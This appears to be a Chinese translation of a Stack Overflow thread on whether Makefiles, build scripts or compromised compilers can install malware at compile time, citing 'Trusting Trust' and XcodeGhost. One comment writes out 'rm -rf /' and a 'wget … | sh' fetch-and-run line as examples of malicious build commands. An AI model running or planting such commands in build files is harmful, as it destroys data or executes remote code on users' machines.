编译时恶意软件是否可能?

4

开源软件在编译时是否可能安装恶意软件?我想到了C宏或Makefile相关的内容,这些内容可能会在编译时执行恶意代码。如果不开始运行编译后的程序,那么我是否安全?


2
从技术上讲,Makefile 在构建目标时可以运行其具有权限的任何命令,但考虑到任何人都可以打开 Makefile 查看它正在执行的操作,这将是一种奇怪而毫无意义的传播恶意软件的方式。 - Linuxios
C宏无法修改任何内容。 - Barmar
@Linuxios,这有什么比在第一时间以源代码形式分发恶意软件更毫无意义的呢?因为任何人都可以打开源代码来查看它在做什么。 - Barmar
@Barmar:因为至少在源代码中,你可能需要在成千上万行的代码中找到它,而某些操作的作用可能并不明显。Makefile很短,并且必须仅使用已安装的命令和程序,如果您已经安装了恶意软件,那么这有什么意义呢?如果您没有安装,那么rm -rf /wget some.weird.address | sh(这不是真正的命令,但无论如何)显然不属于makefile。 - Linuxios
@Linuxios:http://scienceblogs.com/goodmath/2007/04/15/strange-loops-dennis-ritchie-a/ - Mooing Duck
显示剩余3条评论
2个回答

6
不仅可以通过配置或制作脚本在编译时“安装”恶意代码,而且编译器或构建工具也可能被修改以将后门或其他恶意代码注入已编译的二进制文件中。也就是说,即使您正在构建的代码看起来很干净,构建工具可能会“失控”,引入恶意代码。
这种恶意编译器的概念最初由一篇名为“Reflections on Trusting Trust”的论文提出。最近,在攻击开发人员的编译器(Xcode)时使用了这种技术向iOS应用程序中注入了恶意软件。
要点:除非您编写或审核了正在构建的项目的每一行代码、用于构建它的工具以及正在构建它的操作系统/固件,否则您无法完全信任它。
[1] https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf

[2] http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/

这篇文章介绍了一种新型恶意软件XcodeGhost,它修改了苹果开发工具Xcode,并感染了苹果iOS应用程序。随后,这些被感染的应用程序上架到了苹果应用商店。

2
考虑到makefile本质上只是一系列要运行的命令列表。例如,您可以在makefile项目中分发恶意软件源代码。然后,当您构建项目时,makefile会编译恶意软件...最后,在执行新编译的恶意软件时,例如假装对您认为不是恶意软件的单元测试进行运行。
这是完全可能的。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接